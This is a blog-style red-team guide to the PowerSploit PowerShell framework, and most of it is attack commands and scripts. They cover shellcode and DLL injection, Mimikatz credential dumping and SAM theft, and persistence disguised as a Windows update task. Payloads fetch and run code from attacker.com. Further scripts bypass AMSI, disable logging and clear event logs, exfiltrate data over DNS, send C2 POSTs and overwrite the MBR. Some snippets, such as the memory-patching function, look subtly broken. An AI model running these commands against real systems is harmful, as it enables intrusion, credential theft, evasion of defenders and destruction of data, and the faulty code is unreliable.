PowerSploit: Comprehensive Guide to PowerShell Offensive Security Operations

[!WARNING] PowerSploit is no longer actively maintained and many of its modules are easily detected by modern EDR and antivirus solutions. It remains a valuable tool for learning and experimentation but may require customization or obfuscation to be usable in real-world red team engagements.

Hello fellow hackers and enthusiasts! In today’s rapidly evolving offensive security landscape, understanding the tools and techniques that shaped our tradecraft is essential for staying ahead of the curve. One framework that continues to hold immense educational value despite its age is PowerSploit—a comprehensive collection of PowerShell modules designed for offensive security operations.

While modern EDR solutions have largely rendered PowerSploit’s out-of-the-box techniques detectable, its modular architecture, clean codebase, and comprehensive coverage of offensive PowerShell concepts make it an invaluable learning resource. Understanding PowerSploit’s capabilities provides the foundation for developing custom tradecraft and adapting to modern defensive environments.

In this comprehensive guide, we’ll explore PowerSploit’s complete module ecosystem, examine real-world attack scenarios, discuss detection evasion techniques, and demonstrate how to integrate these concepts into modern red team operations. Whether you’re a seasoned penetration tester or an aspiring red teamer, this deep dive will enhance your understanding of PowerShell-based offensive operations.

What is PowerSploit?

PowerSploit is an open-source project developed by the PowerShell Mafia, a collective of security researchers and penetration testers. It represents one of the most comprehensive collections of offensive PowerShell modules ever assembled, covering the entire attack lifecycle from initial reconnaissance to post-exploitation persistence.

The framework is organized into logical module categories, each targeting specific phases of the cyber attack lifecycle. This modular approach allows red teamers to selectively import and use only the components needed for their specific objectives, reducing the attack surface and improving operational security.

PowerSploit’s strength lies in its ability to leverage PowerShell’s native capabilities for offensive operations. Since PowerShell is a legitimate administrative tool present on virtually all modern Windows systems, PowerSploit modules can often execute without triggering traditional antivirus signatures. However, modern EDR solutions and AMSI (Antimalware Scan Interface) have significantly reduced this advantage.

The framework’s educational value cannot be overstated. Each module demonstrates specific offensive techniques, from memory manipulation and process injection to Active Directory enumeration and credential harvesting. Understanding these techniques is crucial for both offensive operations and defensive detection development.

Setting up PowerSploit

Before diving into PowerSploit’s capabilities, let’s establish a proper testing environment and installation process. Always ensure you have proper authorization before testing these techniques, even in lab environments.

Prerequisites

PowerSploit requires a Windows environment with PowerShell 2.0 or later. For optimal functionality, PowerShell 5.1 or PowerShell Core 6.0+ is recommended. The framework is designed to work on Windows 7 through Windows 11, though some modules may have specific version requirements.

Installation Methods

Method 1: Git Clone (Recommended)

git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit

Method 2: Direct Download

Download the latest release from the GitHub repository and extract to your desired location.

Method 3: PowerShell Gallery (Limited)

Some PowerSploit modules are available through the PowerShell Gallery, though this method provides limited access to the full framework.

Environment Configuration

Before using PowerSploit, configure your PowerShell execution policy to allow script execution:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

For testing environments, you might need to set the policy to Unrestricted, though this is not recommended for production systems:

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

Module Import

PowerSploit modules are organized by category. Import specific modules as needed:

# Import entire category
Import-Module .\Recon\PowerView.ps1

# Import specific module
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1

# Import all modules (not recommended for operational use)
Get-ChildItem -Recurse -Filter "*.ps1" | ForEach-Object { Import-Module $_.FullName }

Verification

Verify successful installation by checking available functions:

Get-Command -Module PowerSploit

PowerSploit Module Categories

PowerSploit is organized into seven main module categories, each targeting specific phases of the attack lifecycle. Understanding these categories helps red teamers select appropriate tools for their objectives while maintaining operational security.

Code Execution Modules

The Code Execution category contains modules designed to execute arbitrary code on target systems. These modules leverage various injection techniques to bypass traditional security controls and execute payloads in memory.

Invoke-Shellcode

This module injects shellcode directly into memory, bypassing traditional file-based detection mechanisms. It supports both local and remote process injection.

# Generate shellcode using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f powershell

# Execute shellcode in current process
Invoke-Shellcode -Shellcode $shellcode -Force

# Inject into specific process
Invoke-Shellcode -Shellcode $shellcode -ProcessID 1234

Invoke-DllInjection

This module injects DLLs into running processes, useful for loading additional functionality or establishing persistence.

# Inject DLL into specific process
Invoke-DllInjection -ProcessID 1234 -DllPath "C:\path\to\payload.dll"

# Inject using process name
Invoke-DllInjection -ProcessName "explorer" -DllPath "C:\path\to\payload.dll"

Invoke-ReflectivePEInjection

This advanced module reflectively loads PE files (DLLs or EXEs) into memory without writing to disk, significantly reducing detection probability.

# Reflectively load DLL
Invoke-ReflectivePEInjection -PEBytes $dllBytes -ProcName "explorer"

# Load EXE reflectively
Invoke-ReflectivePEInjection -PEBytes $exeBytes -ForceASLR

Invoke-WmiCommand

This module executes PowerShell commands on remote systems using WMI as a command and control channel, useful for lateral movement.

# Execute command on remote system
Invoke-WmiCommand -ComputerName "TARGET-PC" -ScriptBlock { Get-Process }

# Execute with credentials
Invoke-WmiCommand -ComputerName "TARGET-PC" -Credential $cred -ScriptBlock { Get-Service }

Script Modification Modules

These modules help evade detection by modifying scripts and commands to bypass security controls and execution policies.

Out-EncodedCommand

This module compresses and Base64 encodes PowerShell commands for execution via the -EncodedCommand parameter.

# Encode command
$command = 'Get-Process | Where-Object {$_.ProcessName -eq "explorer"}'
$encoded = Out-EncodedCommand -Command $command

# Execute encoded command
powershell.exe -EncodedCommand $encoded

Out-CompressedDll

This module compresses and encodes DLLs for use with reflective loaders, reducing payload size and improving stealth.

# Compress and encode DLL
$compressedDll = Out-CompressedDll -DllPath "C:\path\to\payload.dll"

# Use with reflective loader
Invoke-ReflectivePEInjection -PEBytes $compressedDll

Out-EncryptedScript

This module encrypts PowerShell scripts to evade signature-based detection.

# Encrypt script
$encrypted = Out-EncryptedScript -ScriptPath "C:\path\to\script.ps1" -Password "SecretKey123"

# Execute encrypted script
Invoke-Expression $encrypted

Remove-Comment

This module strips comments and unnecessary whitespace from scripts to reduce file size and potentially evade detection.

# Remove comments from script
Remove-Comment -Path "C:\path\to\script.ps1" -OutFile "C:\path\to\clean_script.ps1"

Persistence Modules

Persistence modules establish long-term access to compromised systems through various mechanisms, ensuring continued access even after system reboots or user logouts.

New-UserPersistenceOption

This module configures user-level persistence mechanisms that don’t require elevated privileges.

# Create startup folder persistence
New-UserPersistenceOption -Command "powershell.exe -Command 'Start-Sleep 30; Invoke-WebRequest -Uri http://attacker.com/payload.ps1 -OutFile $env:TEMP\payload.ps1; & $env:TEMP\payload.ps1'" -Frequency Daily -At "09:00"

# Create registry persistence
New-UserPersistenceOption -Command "powershell.exe -EncodedCommand $encodedCommand" -Frequency OnLogon

New-ElevatedPersistenceOption

This module configures system-level persistence mechanisms that require administrative privileges.

# Create scheduled task persistence
New-ElevatedPersistenceOption -Command "powershell.exe -Command '& {iex (iwr http://attacker.com/payload.ps1)}'" -Frequency Daily -At "02:00"

# Create service persistence
New-ElevatedPersistenceOption -Command "C:\Windows\System32\cmd.exe /c powershell.exe -EncodedCommand $encodedCommand" -Frequency OnStartup

Add-Persistence

This module adds persistence capabilities to existing PowerShell scripts.

# Add persistence to script
Add-Persistence -ScriptPath "C:\path\to\payload.ps1" -PersistenceOption $persistenceOption -OutFile "C:\path\to\persistent_payload.ps1"

Install-SSP

This module installs Security Support Provider (SSP) DLLs for credential harvesting persistence.

# Install SSP for credential harvesting
Install-SSP -DllPath "C:\path\to\mimikatz.dll"

Get-SecurityPackages

This module enumerates loaded security packages to identify potential persistence mechanisms.

# List loaded security packages
Get-SecurityPackages

Antivirus Bypass Modules

These modules help identify and bypass antivirus detection mechanisms.

Find-AVSignature

This module locates single-byte antivirus signatures using techniques similar to DSplit.

# Find AV signatures in file
Find-AVSignature -Path "C:\path\to\payload.exe"

# Find signatures in memory
Find-AVSignature -Bytes $payloadBytes

Exfiltration Modules

Exfiltration modules extract sensitive data from compromised systems, including credentials, files, and system information.

Invoke-TokenManipulation

This module manipulates Windows access tokens for privilege escalation and lateral movement.

# Enumerate available tokens
Invoke-TokenManipulation -Enumerate

# Impersonate specific token
Invoke-TokenManipulation -Impersonate -Username "DOMAIN\Administrator"

# Create process with token
Invoke-TokenManipulation -CreateProcess -Username "DOMAIN\Administrator" -Command "cmd.exe"

Invoke-CredentialInjection

This module creates logons with clear-text credentials without triggering suspicious Event ID 4648.

# Inject credentials
Invoke-CredentialInjection -Credential $credential -ComputerName "TARGET-PC"

Invoke-NinjaCopy

This module copies files from NTFS volumes by reading raw volume data and parsing NTFS structures, bypassing file system restrictions.

# Copy file using NinjaCopy
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\temp\SAM"

# Copy with specific volume
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM" -Volume "\\?\GLOBALROOT\Device\HarddiskVolume1"

Invoke-Mimikatz

This module reflectively loads Mimikatz in memory for credential extraction without writing to disk.

# Load Mimikatz and dump credentials
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'

# Extract Kerberos tickets
Invoke-Mimikatz -Command '"privilege::debug" "kerberos::list"'

# Dump SAM hashes
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::sam"'

Get-Keystrokes

This module logs keystrokes, timestamps, and active window information for surveillance purposes.

# Start keystroke logging
Get-Keystrokes -LogPath "C:\temp\keystrokes.log"

# Log with specific duration
Get-Keystrokes -LogPath "C:\temp\keystrokes.log" -Duration 300

Get-GPPPassword

This module retrieves plaintext passwords from Group Policy Preferences XML files.

# Find GPP passwords
Get-GPPPassword

# Search specific domain
Get-GPPPassword -Server "DC01.domain.local"

Get-GPPAutologon

This module retrieves autologon credentials from Group Policy Preferences.

# Get autologon credentials
Get-GPPAutologon

# Search specific domain
Get-GPPAutologon -Server "DC01.domain.local"

Get-TimedScreenshot

This module takes screenshots at regular intervals for surveillance.

# Take screenshots every 30 seconds
Get-TimedScreenshot -Path "C:\temp\screenshots" -Interval 30

# Take screenshots for specific duration
Get-TimedScreenshot -Path "C:\temp\screenshots" -Interval 60 -Duration 3600

Volume Shadow Copy Operations

PowerSploit includes several modules for working with Volume Shadow Copies:

# Create volume shadow copy
New-VolumeShadowCopy -Volume "C:"

# List volume shadow copies
Get-VolumeShadowCopy

# Mount volume shadow copy
Mount-VolumeShadowCopy -DevicePath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1"

# Remove volume shadow copy
Remove-VolumeShadowCopy -DevicePath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1"

Get-VaultCredential

This module displays Windows vault credentials including web credentials.

# Get all vault credentials
Get-VaultCredential

# Get specific credential type
Get-VaultCredential -CredentialType "WebCredential"

Out-Minidump

This module generates full-memory minidumps of processes for analysis.

# Create minidump of process
Out-Minidump -Process "explorer" -DumpFilePath "C:\temp\explorer.dmp"

# Create minidump of all processes
Out-Minidump -DumpFilePath "C:\temp\all_processes.dmp"

Get-MicrophoneAudio

This module records audio from system microphones for surveillance.

# Record audio for 60 seconds
Get-MicrophoneAudio -Duration 60 -OutputPath "C:\temp\audio.wav"

# Record with specific quality
Get-MicrophoneAudio -Duration 120 -OutputPath "C:\temp\audio.wav" -Quality "High"

Mayhem Modules

These modules demonstrate destructive capabilities and should only be used in controlled testing environments.

Set-MasterBootRecord

This module overwrites the master boot record with custom messages (proof of concept).

# Overwrite MBR (DESTRUCTIVE - TESTING ONLY)
Set-MasterBootRecord -Message "System Compromised"

Set-CriticalProcess

This module marks the current process as critical, causing a blue screen when PowerShell exits.

# Set as critical process (DESTRUCTIVE - TESTING ONLY)
Set-CriticalProcess

Privilege Escalation Modules

These modules identify and exploit privilege escalation opportunities on compromised systems.

PowerUp

PowerUp is a comprehensive privilege escalation toolkit that combines multiple techniques into a single module.

# Run all privilege escalation checks
Invoke-AllChecks

# Check for specific privilege escalation vectors
Invoke-AllChecks -Verbose | Where-Object {$_.AbuseFunction}

# Check for unquoted service paths
Get-ServiceUnquoted

# Check for service permissions
Get-ServicePermission

# Check for registry autoruns
Get-RegistryAutorun

# Check for scheduled tasks
Get-ScheduledTaskPermission

Reconnaissance Modules

These modules gather information about the target environment for attack planning and execution.

Invoke-Portscan

This module performs port scanning using native PowerShell sockets.

# Scan single host
Invoke-Portscan -Hosts "192.168.1.10" -Ports "80,443,445,3389"

# Scan network range
Invoke-Portscan -Hosts "192.168.1.0/24" -Ports "445,3389" -Timeout 1000

# Scan with specific options
Invoke-Portscan -Hosts "192.168.1.10" -Ports "1-1000" -Threads 100

Get-HttpStatus

This module checks HTTP status codes for web application enumeration.

# Check common web paths
Get-HttpStatus -Target "http://target.com" -Path "admin,login,wp-admin"

# Use custom wordlist
Get-HttpStatus -Target "http://target.com" -Path (Get-Content "wordlist.txt")

Invoke-ReverseDnsLookup

This module performs reverse DNS lookups on IP ranges.

# Reverse DNS lookup on range
Invoke-ReverseDnsLookup -CIDR "192.168.1.0/24"

# Lookup specific IPs
Invoke-ReverseDnsLookup -IPAddresses "192.168.1.10,192.168.1.20"

PowerView

PowerView is a comprehensive Active Directory enumeration toolkit that provides extensive reconnaissance capabilities.

# Get domain information
Get-NetDomain

# Get domain controllers
Get-NetDomainController

# Get domain users
Get-NetUser -Filter *

# Get domain computers
Get-NetComputer -Filter *

# Get domain groups
Get-NetGroup -Filter *

# Get domain shares
Get-NetShare

# Get domain trusts
Get-NetDomainTrust

# Get domain policies
Get-NetGPO

# Get domain OUs
Get-NetOU

# Get domain sites
Get-NetSite

Real-World Attack Scenarios

Now let’s examine how PowerSploit modules can be combined to create realistic attack scenarios. These examples demonstrate the framework’s versatility and show how different modules work together to achieve specific objectives.

Scenario 1: Active Directory Enumeration and Lateral Movement

This scenario demonstrates a comprehensive Active Directory reconnaissance and lateral movement operation using PowerView and related modules.

Phase 1: Initial Reconnaissance

# Import PowerView
Import-Module .\Recon\PowerView.ps1

# Get domain information
$domain = Get-NetDomain
Write-Host "Domain: $($domain.Name)"
Write-Host "Domain SID: $($domain.DomainSID)"

# Enumerate domain controllers
$dcs = Get-NetDomainController
Write-Host "Domain Controllers:"
$dcs | ForEach-Object { Write-Host "  - $($_.Name) ($($_.IPAddress))" }

# Get domain users with specific attributes
$users = Get-NetUser -Filter * | Select-Object samaccountname, displayname, description, lastlogon, pwdlastset, logoncount
$users | Export-Csv -Path "domain_users.csv" -NoTypeInformation

# Get domain computers
$computers = Get-NetComputer -Filter * | Select-Object name, operatingsystem, operatingsystemversion, lastlogon
$computers | Export-Csv -Path "domain_computers.csv" -NoTypeInformation

# Get domain groups and members
$groups = Get-NetGroup -Filter * | Select-Object name, description, memberof
$groups | Export-Csv -Path "domain_groups.csv" -NoTypeInformation

Phase 2: Privilege Escalation Opportunities

# Check for unquoted service paths
$unquotedServices = Get-ServiceUnquoted
if ($unquotedServices) {
    Write-Host "Unquoted Service Paths Found:"
    $unquotedServices | ForEach-Object {
        Write-Host "  Service: $($_.ServiceName)"
        Write-Host "  Path: $($_.ServicePath)"
        Write-Host "  Abuse Function: $($_.AbuseFunction)"
    }
}

# Check for service permissions
$servicePermissions = Get-ServicePermission
$vulnerableServices = $servicePermissions | Where-Object {$_.AbuseFunction}
if ($vulnerableServices) {
    Write-Host "Vulnerable Services Found:"
    $vulnerableServices | ForEach-Object {
        Write-Host "  Service: $($_.ServiceName)"
        Write-Host "  Permission: $($_.Permission)"
        Write-Host "  Abuse Function: $($_.AbuseFunction)"
    }
}

# Check for registry autoruns
$autoruns = Get-RegistryAutorun
$vulnerableAutoruns = $autoruns | Where-Object {$_.AbuseFunction}
if ($vulnerableAutoruns) {
    Write-Host "Vulnerable Autoruns Found:"
    $vulnerableAutoruns | ForEach-Object {
        Write-Host "  Name: $($_.Name)"
        Write-Host "  Path: $($_.Path)"
        Write-Host "  Abuse Function: $($_.AbuseFunction)"
    }
}

Phase 3: Lateral Movement

# Find computers with specific users logged on
$loggedOnUsers = Get-NetLoggedon -ComputerName $computers.name
$adminSessions = $loggedOnUsers | Where-Object {$_.wkui1_username -like "*admin*"}

# Use WMI for lateral movement
foreach ($computer in $adminSessions.ComputerName) {
    try {
        Write-Host "Attempting lateral movement to $computer"
        Invoke-WmiCommand -ComputerName $computer -ScriptBlock {
            # Execute reconnaissance on target
            Get-Process | Where-Object {$_.ProcessName -eq "explorer"}
            Get-Service | Where-Object {$_.Status -eq "Running"}
        }
    }
    catch {
        Write-Host "Failed to connect to $computer : $($_.Exception.Message)"
    }
}

Scenario 2: Credential Harvesting and Persistence

This scenario demonstrates comprehensive credential harvesting and persistence establishment.

Phase 1: Credential Extraction

# Import required modules
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1

# Dump credentials from memory
Write-Host "Dumping credentials from memory..."
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'

# Dump SAM hashes
Write-Host "Dumping SAM hashes..."
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::sam"'

# Dump LSA secrets
Write-Host "Dumping LSA secrets..."
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::secrets"'

# Extract Kerberos tickets
Write-Host "Extracting Kerberos tickets..."
Invoke-Mimikatz -Command '"privilege::debug" "kerberos::list"'

# Get GPP passwords
Write-Host "Searching for GPP passwords..."
Get-GPPPassword

# Get vault credentials
Write-Host "Extracting vault credentials..."
Get-VaultCredential

Phase 2: Token Manipulation

# Import token manipulation module
Import-Module .\Exfiltration\Invoke-TokenManipulation.ps1

# Enumerate available tokens
Write-Host "Enumerating available tokens..."
$tokens = Invoke-TokenManipulation -Enumerate
$tokens | Format-Table -AutoSize

# Find high-privilege tokens
$adminTokens = $tokens | Where-Object {$_.Username -like "*admin*" -or $_.Groups -like "*Administrators*"}

foreach ($token in $adminTokens) {
    Write-Host "Attempting to impersonate token for: $($token.Username)"
    try {
        Invoke-TokenManipulation -Impersonate -Username $token.Username
        Write-Host "Successfully impersonated $($token.Username)"
        
        # Execute commands with elevated privileges
        Invoke-Command -ScriptBlock {
            Write-Host "Running as: $env:USERNAME"
            whoami /groups
        }
    }
    catch {
        Write-Host "Failed to impersonate $($token.Username) : $($_.Exception.Message)"
    }
}

Phase 3: Persistence Establishment

# Import persistence modules
Import-Module .\Persistence\New-UserPersistenceOption.ps1
Import-Module .\Persistence\New-ElevatedPersistenceOption.ps1

# Create encoded payload
$payload = 'powershell.exe -Command "Start-Sleep 30; Invoke-WebRequest -Uri http://attacker.com/payload.ps1 -OutFile $env:TEMP\payload.ps1; & $env:TEMP\payload.ps1"'
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))

# User-level persistence
Write-Host "Establishing user-level persistence..."
$userPersistence = New-UserPersistenceOption -Command "powershell.exe -EncodedCommand $encodedPayload" -Frequency Daily -At "09:00"

# Elevated persistence (if admin privileges available)
if (([Security.Principal.WindowsIdentity]::GetCurrent()).Groups -contains "S-1-5-32-544") {
    Write-Host "Establishing elevated persistence..."
    $elevatedPersistence = New-ElevatedPersistenceOption -Command "powershell.exe -EncodedCommand $encodedPayload" -Frequency OnStartup
}

# Create scheduled task persistence
Write-Host "Creating scheduled task persistence..."
$taskName = "WindowsUpdateService"
$taskCommand = "powershell.exe -EncodedCommand $encodedPayload"

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-EncodedCommand $encodedPayload"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Principal $principal -Description "Windows Update Service"

Scenario 3: Advanced Evasion and Stealth Operations

This scenario demonstrates advanced evasion techniques and stealth operations using PowerSploit modules.

Phase 1: AMSI Bypass and Script Obfuscation

# Import script modification modules
Import-Module .\ScriptModification\Out-EncodedCommand.ps1
Import-Module .\ScriptModification\Out-EncryptedScript.ps1

# Create obfuscated payload
$originalScript = @'
# Your malicious payload here
$webClient = New-Object System.Net.WebClient
$payload = $webClient.DownloadString("http://attacker.com/payload.ps1")
Invoke-Expression $payload
'@

# Method 1: Encoded command
$encodedScript = Out-EncodedCommand -Command $originalScript
Write-Host "Encoded script length: $($encodedScript.Length)"

# Method 2: Encrypted script
$encryptedScript = Out-EncryptedScript -ScriptText $originalScript -Password "SecretKey123"
Write-Host "Encrypted script created"

# Method 3: Compressed and encoded
$compressedScript = Out-CompressedDll -DllPath "C:\path\to\payload.dll"
Write-Host "Compressed script created"

Phase 2: Memory-Only Operations

# Import memory manipulation modules
Import-Module .\CodeExecution\Invoke-ReflectivePEInjection.ps1

# Load payload into memory without touching disk
$payloadBytes = [System.IO.File]::ReadAllBytes("C:\path\to\payload.dll")
Invoke-ReflectivePEInjection -PEBytes $payloadBytes -ProcName "explorer"

# Execute shellcode in memory
$shellcode = [System.Convert]::FromBase64String("YOUR_BASE64_SHELLCODE")
Invoke-Shellcode -Shellcode $shellcode -Force

Phase 3: Stealthy Data Exfiltration

# Import exfiltration modules
Import-Module .\Exfiltration\Out-DnsTxt.ps1

# Exfiltrate data via DNS
$sensitiveData = Get-Content "C:\sensitive\data.txt" -Raw
$chunks = [System.Text.Encoding]::UTF8.GetBytes($sensitiveData) | ForEach-Object { [System.Convert]::ToBase64String([byte[]]@($_)) }

foreach ($chunk in $chunks) {
    Out-DnsTxt -Data $chunk -DnsServer "attacker.com"
    Start-Sleep -Seconds 2  # Avoid rate limiting
}

# Use NinjaCopy for stealthy file access
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\temp\SAM"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM"

Detection Evasion Techniques

Modern EDR solutions have significantly reduced the effectiveness of PowerSploit’s out-of-the-box techniques. Understanding detection mechanisms and evasion techniques is crucial for successful operations.

AMSI Bypass Techniques

AMSI (Antimalware Scan Interface) is a significant obstacle for PowerShell-based attacks. Several techniques can be employed to bypass AMSI detection.

Method 1: AMSI Context Bypass

# Bypass AMSI by manipulating the context
$amsiContext = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$amsiContext.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

Method 2: Reflection-Based Bypass

# Use reflection to disable AMSI
$type = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $type.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)

Method 3: Memory Patching

# Patch AMSI functions in memory
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$field.SetValue($null, [IntPtr]::Zero)

Execution Policy Bypass

PowerShell execution policies can be bypassed using various techniques.

Method 1: Bypass Execution Policy

# Bypass execution policy for single command
powershell.exe -ExecutionPolicy Bypass -Command "Get-Process"

# Bypass with encoded command
powershell.exe -ExecutionPolicy Bypass -EncodedCommand $encodedCommand

Method 2: Registry Modification

# Modify execution policy in registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "ExecutionPolicy" -Value "Unrestricted"

Process Injection Evasion

Process injection techniques can be modified to evade detection.

Method 1: Legitimate Process Injection

# Inject into legitimate processes
$legitimateProcesses = @("explorer", "svchost", "winlogon")
$targetProcess = $legitimateProcesses | Get-Random

Invoke-DllInjection -ProcessName $targetProcess -DllPath "C:\path\to\payload.dll"

Method 2: Thread Hijacking

# Use thread hijacking instead of process injection
# This requires custom implementation as PowerSploit doesn't include this technique

Logging Evasion

Minimizing logging and audit trail generation is crucial for stealth operations.

Method 1: Disable PowerShell Logging

# Disable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableLogging" -Value 0

Method 2: Clear Event Logs

# Clear security event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

Integration with Modern Red Team Tools

PowerSploit modules can be integrated with modern command and control frameworks to enhance their capabilities and maintain operational security.

Empire Integration

Empire is a post-exploitation framework that can leverage PowerSploit modules.

# Empire stager that loads PowerSploit modules
$empireStager = @'
# Empire stager code here
$stager = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("EMPIRE_STAGER_BASE64"))
Invoke-Expression $stager
'@

# Load PowerSploit modules through Empire
Invoke-Expression $empireStager

Cobalt Strike Integration

Cobalt Strike can execute PowerSploit modules through its PowerShell execution capabilities.

# Cobalt Strike PowerShell session
# Load PowerSploit modules
Import-Module .\Recon\PowerView.ps1
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1

# Execute reconnaissance
Get-NetUser -Filter * | Select-Object samaccountname, displayname, lastlogon

Custom C2 Framework Integration

PowerSploit modules can be integrated into custom command and control frameworks.

# Custom C2 integration example
function Invoke-PowerSploitModule {
    param(
        [string]$ModuleName,
        [hashtable]$Parameters
    )
    
    # Load module
    Import-Module ".\$ModuleName.ps1"
    
    # Execute with parameters
    $result = & $ModuleName @Parameters
    
    # Send results to C2
    $encodedResult = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($result))
    Invoke-WebRequest -Uri "http://c2-server.com/result" -Method POST -Body $encodedResult
}

Security Considerations and Best Practices

While PowerSploit is a powerful offensive tool, understanding its limitations and implementing proper security practices is essential.

Operational Security

Minimize Attack Surface

# Only import required modules
Import-Module .\Recon\PowerView.ps1  # Only for reconnaissance
# Avoid importing entire framework

Use Stealth Techniques

# Use legitimate process names
$legitimateProcesses = @("explorer", "svchost", "winlogon")
$targetProcess = $legitimateProcesses | Get-Random

# Use legitimate file names
$legitimateNames = @("update.exe", "service.exe", "helper.exe")
$payloadName = $legitimateNames | Get-Random

Implement Proper Cleanup

# Cleanup function
function Remove-PowerSploitArtifacts {
    # Remove temporary files
    Remove-Item -Path "$env:TEMP\*.ps1" -Force -ErrorAction SilentlyContinue
    
    # Clear PowerShell history
    Remove-Item -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
    
    # Clear event logs
    wevtutil cl Security /q
    wevtutil cl System /q
    wevtutil cl Application /q
}

Detection Avoidance

Monitor for Detection Triggers

# Check for monitoring tools
$monitoringTools = @("Sysmon", "Process Monitor", "Wireshark")
$runningTools = Get-Process | Where-Object {$_.ProcessName -in $monitoringTools}

if ($runningTools) {
    Write-Host "Monitoring tools detected: $($runningTools.ProcessName -join ', ')"
    # Implement additional stealth measures
}

Use Timing Evasion

# Implement random delays
function Start-RandomDelay {
    $delay = Get-Random -Minimum 5 -Maximum 30
    Start-Sleep -Seconds $delay
}

# Use in operations
Start-RandomDelay
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'
Start-RandomDelay

Troubleshooting Common Issues

PowerSploit modules may encounter various issues in different environments. Understanding common problems and their solutions is essential for successful operations.

Execution Policy Issues

Problem: PowerShell execution policy prevents script execution.

Solution:

# Check current execution policy
Get-ExecutionPolicy

# Bypass for current session
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Use bypass parameter
powershell.exe -ExecutionPolicy Bypass -File "script.ps1"

Module Import Issues

Problem: Modules fail to import or functions are not available.

Solution:

# Check if module is loaded
Get-Module -Name PowerSploit

# Import with verbose output
Import-Module .\Recon\PowerView.ps1 -Verbose

# Check available functions
Get-Command -Module PowerSploit

Permission Issues

Problem: Insufficient privileges for certain operations.

Solution:

# Check current privileges
whoami /groups

# Request elevation
Start-Process powershell.exe -Verb RunAs

# Use token manipulation for privilege escalation
Invoke-TokenManipulation -Enumerate

Network Connectivity Issues

Problem: Network-based operations fail due to connectivity issues.

Solution:

# Test network connectivity
Test-NetConnection -ComputerName "target.com" -Port 445

# Use alternative network paths
$alternativePaths = @("\\server1\share", "\\server2\share")
foreach ($path in $alternativePaths) {
    if (Test-Path $path) {
        Write-Host "Available path: $path"
        break
    }
}

Advanced PowerSploit Techniques

Beyond the basic module usage, PowerSploit offers advanced techniques that combine multiple modules and leverage sophisticated evasion methods. These techniques require deeper understanding of Windows internals and PowerShell capabilities.

Advanced Memory Manipulation

PowerSploit’s memory manipulation capabilities extend beyond simple process injection. Advanced techniques involve complex memory operations that can evade sophisticated detection mechanisms.

Memory Patching and Hook Installation

# Advanced memory patching technique
function Invoke-MemoryPatch {
    param(
        [string]$ProcessName,
        [byte[]]$OriginalBytes,
        [byte[]]$PatchBytes,
        [int]$Offset
    )
    
    $process = Get-Process -Name $ProcessName
    $handle = [System.Diagnostics.Process]::OpenProcess(0x1F0FFF, $false, $process.Id)
    
    # Allocate memory for patch
    $patchAddress = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PatchBytes.Length)
    [System.Runtime.InteropServices.Marshal]::Copy($PatchBytes, 0, $patchAddress, $PatchBytes.Length)
    
    # Write patch to process memory
    $bytesWritten = 0
    [System.Runtime.InteropServices.Marshal]::WriteProcessMemory($handle, $process.MainModule.BaseAddress + $Offset, $patchAddress, $PatchBytes.Length, [ref]$bytesWritten)
    
    # Cleanup
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($patchAddress)
    $handle.Close()
}

Advanced Shellcode Injection

# Advanced shellcode injection with encryption
function Invoke-EncryptedShellcodeInjection {
    param(
        [byte[]]$EncryptedShellcode,
        [string]$DecryptionKey,
        [string]$ProcessName = "explorer"
    )
    
    # Decrypt shellcode
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Key = [System.Text.Encoding]::UTF8.GetBytes($DecryptionKey.PadRight(32, '0'))
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    
    $decryptor = $aes.CreateDecryptor()
    $decryptedShellcode = $decryptor.TransformFinalBlock($EncryptedShellcode, 0, $EncryptedShellcode.Length)
    
    # Inject decrypted shellcode
    Invoke-Shellcode -Shellcode $decryptedShellcode -ProcessName $ProcessName
}

